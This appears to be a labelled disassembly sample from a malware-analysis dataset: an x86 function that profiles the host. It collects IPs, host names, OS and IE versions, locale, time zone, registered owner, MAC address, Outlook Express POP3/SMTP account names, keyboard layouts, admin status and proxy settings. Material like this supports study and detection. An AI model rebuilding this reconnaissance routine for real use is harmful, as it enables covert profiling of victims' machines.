Function at 0x1000908e
Capabilities:
Get geographical location
Get keyboard layout
Get mac address on windows
Get system information on windows
Query or enumerate registry value

Disassembly:
mov eax, 0x10067806
call fcn.100575f8
sub esp, 0x5dc
mov eax, dword [0x10084500]
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], eax
push ebx
lea eax, [ebp - 0x5a8]
push eax
push ebx
mov dword [ebp - 0x5b0], ebx
mov dword [ebp - 0x5a8], ebx
call sub.iphlpapi.dll_GetIpAddrTable
push dword [ebp - 0x5a8]
call fcn.100565f2
pop ecx
mov esi, eax
push ebx
lea eax, [ebp - 0x5a8]
push eax
push esi
mov dword [ebp - 0x5a0], esi
call sub.iphlpapi.dll_GetIpAddrTable
push str.IPs:
lea ecx, [ebp - 0x2c]
call fcn.10001636
cmp dword [esi], ebx
mov dword [ebp - 4], ebx
mov al, 1
mov dword [ebp - 0x594], ebx
jbe 0x10009228
lea edi, [esi + 4]
mov dword [ebp - 0x598], edi
cmp dword [edi], 0x100007f
je 0x1000920b
cmp al, bl
jne 0x1000912d
push 0x1006d068
lea ecx, [ebp - 0x2c]
call fcn.10003017
movzx eax, byte [edi + 3]
push eax
movzx eax, byte [edi + 2]
push eax
movzx eax, byte [edi + 1]
push eax
mov eax, dword [edi]
and eax, 0xff
push eax
lea eax, [ebp - 0xb0]
push str._i._i._i._i
push eax
call fcn.10057e98
add esp, 0x18
lea eax, [ebp - 0xb0]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
push 2
push 4
push edi
call sub.WS2_32.dll_gethostbyaddr
mov esi, eax
cmp esi, ebx
je 0x10009203
push 0x1006d058
lea ecx, [ebp - 0x48]
call fcn.10001636
push dword [esi]
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.10003017
mov eax, dword [esi + 4]
cmp dword [eax], ebx
je 0x100091d9
xor edi, edi
cmp dword [edi + eax + 4], ebx
jne 0x100091ad
cmp dword [esi], ebx
je 0x100091ba
cmp edi, ebx
jne 0x100091ba
push 0x1006d068
lea ecx, [ebp - 0x48]
call fcn.10003017
mov eax, dword [esi + 4]
push dword [edi + eax]
lea ecx, [ebp - 0x48]
call fcn.10003017
mov eax, dword [esi + 4]
add edi, 4
cmp dword [edi + eax], ebx
jne 0x1000919f
mov edi, dword [ebp - 0x598]
push 0x1006d054
lea ecx, [ebp - 0x48]
call fcn.10003017
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10002e80
push ebx
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], bl
call fcn.10001293
mov esi, dword [ebp - 0x5a0]
xor al, al
inc dword [ebp - 0x594]
mov ecx, dword [ebp - 0x594]
add edi, 0x18
cmp ecx, dword [esi]
mov dword [ebp - 0x598], edi
jb 0x10009110
mov edi, 0x1006d050
push edi
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x264]
push eax
mov dword [ebp - 0x264], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x1000928d
lea eax, [ebp - 0x250]
push eax
push dword [ebp - 0x258]
lea eax, [ebp - 0x1d0]
push dword [ebp - 0x25c]
push dword [ebp - 0x260]
push str.Win:_i._i._i__s__
push eax
call fcn.10057e98
add esp, 0x18
lea eax, [ebp - 0x1d0]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x5b4]
push eax
push 0x20019
push ebx
push 0x10087a88
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
push 0x10
pop esi
jne 0x1000930c
lea eax, [ebp - 0x5a0]
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push 0x100887d0
push dword [ebp - 0x5b4]
mov dword [ebp - 0x5a0], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10009300
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0xd0]
push str.IE:_s_
push eax
call fcn.10057e98
add esp, 0xc
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
push dword [ebp - 0x5b4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x5c4]
push eax
call fcn.10058756
movsx eax, word [ebp - 0x5ba]
push eax
lea eax, [ebp - 0x58]
push str.TZ:_i_
push eax
call fcn.10057e98
add esp, 0x10
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
push esi
lea eax, [ebp - 0x68]
push eax
push 0x1001
push 0x400
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
je 0x10009377
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x3c]
push str.Loc:_s_
push eax
call fcn.10057e98
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
mov dword [ebp - 0x59c], ebx
push str.OS_Registered_to:
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 2
call fcn.10003017
mov esi, 0x2001f
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
lea ecx, [ebp - 0x59c]
call fcn.10004e4a
test eax, eax
jne 0x1000944c
lea eax, [ebp - 0x594]
push eax
lea eax, [ebp - 0x198]
push eax
push str.RegisteredOrganization
lea ecx, [ebp - 0x59c]
mov dword [ebp - 0x594], 0xc8
call fcn.10004e7f
test eax, eax
jne 0x10009403
push 0x1006cff4
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x198]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
mov dword [ebp - 0x594], 0xc8
lea eax, [ebp - 0x594]
push eax
lea eax, [ebp - 0x198]
push eax
push str.RegisteredOwner
lea ecx, [ebp - 0x59c]
call fcn.10004e7f
test eax, eax
jne 0x10009441
push 0x1006cff4
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x198]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea ecx, [ebp - 0x59c]
call fcn.10004e33
push str._MAC:
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x5ac]
push eax
push ebx
mov dword [ebp - 0x5ac], 0x280
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x100094fa
push dword [ebp - 0x5ac]
call fcn.100565f2
mov edi, eax
pop ecx
lea eax, [ebp - 0x5ac]
push eax
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x100094f5
movzx eax, byte [edi + 0x19a]
push eax
movzx eax, byte [edi + 0x199]
push eax
movzx eax, byte [edi + 0x198]
push eax
movzx eax, byte [edi + 0x197]
push eax
movzx eax, byte [edi + 0x196]
push eax
movzx eax, byte [edi + 0x195]
push eax
movzx eax, byte [edi + 0x194]
push eax
lea eax, [ebp - 0x7c]
push str._0.2x__0.2x__0.2x__0.2x__0.2x__0.2x
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
push edi
call fcn.100564da
pop ecx
mov edi, 0x1006d050
push edi
lea ecx, [ebp - 0x2c]
call fcn.10003017
push str.OE_accounts:
lea ecx, [ebp - 0x2c]
call fcn.10003017
mov dword [ebp - 0x594], 1
push dword [ebp - 0x594]
lea eax, [ebp - 0x90]
push str._0.8x
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x2c8]
push str.SoftwareMicrosoftInternet_Account_ManagerAccounts_
push eax
call fcn.10057da0
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x2c8]
push eax
call fcn.10057db0
add esp, 0x1c
push esi
lea eax, [ebp - 0x2c8]
push eax
push 0x80000001
lea ecx, [ebp - 0x59c]
call fcn.10004e4a
test eax, eax
jne 0x10009641
push 0x1006cf9c
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x390]
push eax
push str.POP3_User_Name
lea ecx, [ebp - 0x59c]
mov dword [ebp - 0x598], 0xc8
call fcn.10004e7f
test eax, eax
jne 0x100095ce
push str.POP3Name:
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x390]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x390]
push eax
push str.SMTP_Display_Name
lea ecx, [ebp - 0x59c]
mov dword [ebp - 0x598], 0xc8
call fcn.10004e7f
test eax, eax
jne 0x10009616
push str.SMTPName:
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x390]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
push 0x1006cf5c
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea ecx, [ebp - 0x59c]
call fcn.10004e33
inc dword [ebp - 0x594]
cmp dword [ebp - 0x594], 0x64
jl 0x1000951a
push edi
lea ecx, [ebp - 0x2c]
call fcn.10003017
push esi
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
lea ecx, [ebp - 0x59c]
call fcn.10004e4a
test eax, eax
jne 0x10009700
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x198]
push eax
mov esi, 0xc8
push str.RegisteredOrganization
lea ecx, [ebp - 0x59c]
mov dword [ebp - 0x598], esi
call fcn.10004e7f
test eax, eax
jne 0x100096b7
push 0x1006cff4
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x198]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
mov dword [ebp - 0x598], esi
lea eax, [ebp - 0x598]
push eax
lea eax, [ebp - 0x198]
push eax
push str.RegisteredOwner
lea ecx, [ebp - 0x59c]
call fcn.10004e7f
test eax, eax
jne 0x100096f5
push 0x1006cff4
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x198]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea ecx, [ebp - 0x59c]
call fcn.10004e33
push edi
lea ecx, [ebp - 0x2c]
call fcn.10003017
push str.Kbd:
lea ecx, [ebp - 0x2c]
call fcn.10003017
push str.GetKeyboardLayout
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
push ebx
push ebx
mov dword [ebp - 0x598], eax
call esi
mov edi, eax
shl eax, 2
push eax
call fcn.100556e2
pop ecx
push eax
push edi
mov dword [ebp - 0x5a0], eax
call esi
push ebx
call dword [ebp - 0x598]
cmp edi, ebx
mov esi, dword [sym.imp.USER32.dll_ActivateKeyboardLayout]
mov dword [ebp - 0x598], eax
mov dword [ebp - 0x594], ebx
jbe 0x100097e3
mov ecx, dword [ebp - 0x594]
mov eax, dword [ebp - 0x5a0]
lea eax, [eax + ecx*4]
push ebx
push dword [eax]
mov dword [ebp - 0x5b0], eax
call esi
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [edi - 1]
cmp dword [ebp - 0x594], eax
jae 0x100097b8
push 0x1006d068
lea ecx, [ebp - 0x2c]
call fcn.10003017
mov eax, dword [ebp - 0x598]
mov ecx, dword [ebp - 0x5b0]
cmp dword [ecx], eax
jne 0x100097d5
push 0x1006cf30
lea ecx, [ebp - 0x2c]
call fcn.10003017
inc dword [ebp - 0x594]
cmp dword [ebp - 0x594], edi
jb 0x10009770
push 0x1006d050
lea ecx, [ebp - 0x2c]
call fcn.10003017
push ebx
push dword [ebp - 0x598]
call esi
push dword [ebp - 0x5a0]
call fcn.10057617
pop ecx
lea eax, [ebp - 0x5e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [ebp - 0x5d4]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x590]
push str.Number_of_processors:__d_
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x590]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
call fcn.100044c6
test eax, eax
mov eax, 0x1006cf10
jne 0x10009851
mov eax, 0x1006cf0c
push eax
lea eax, [ebp - 0x490]
push str.IsUserAdmin:__s_
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
lea eax, [ebp - 0x5a4]
push eax
push ebx
push 0x26
push ebx
mov dword [ebp - 0x5a4], ebx
call dword [0x10085dd8]
push dword [ebp - 0x5a4]
call fcn.100556e2
push dword [ebp - 0x5a4]
mov edi, eax
push ebx
push edi
call fcn.10056960
add esp, 0x10
lea eax, [ebp - 0x5a4]
push eax
push edi
push 0x26
push ebx
call dword [0x10085dd8]
test eax, eax
je 0x100098e3
mov eax, dword [edi + 4]
cmp eax, ebx
je 0x100098e3
push eax
lea eax, [ebp - 0x1d0]
push str.Proxy:__s
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x1d0]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10003017
push edi
call fcn.10057617
lea ecx, [ebp - 0x2c]
mov dword [esp], 0x1006ca8c
call fcn.10003017
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
call fcn.100015f3
lea ecx, [ebp - 0x59c]
call fcn.10004e33
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.10001293
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x10]
pop ebx
call fcn.100568ae
leave
ret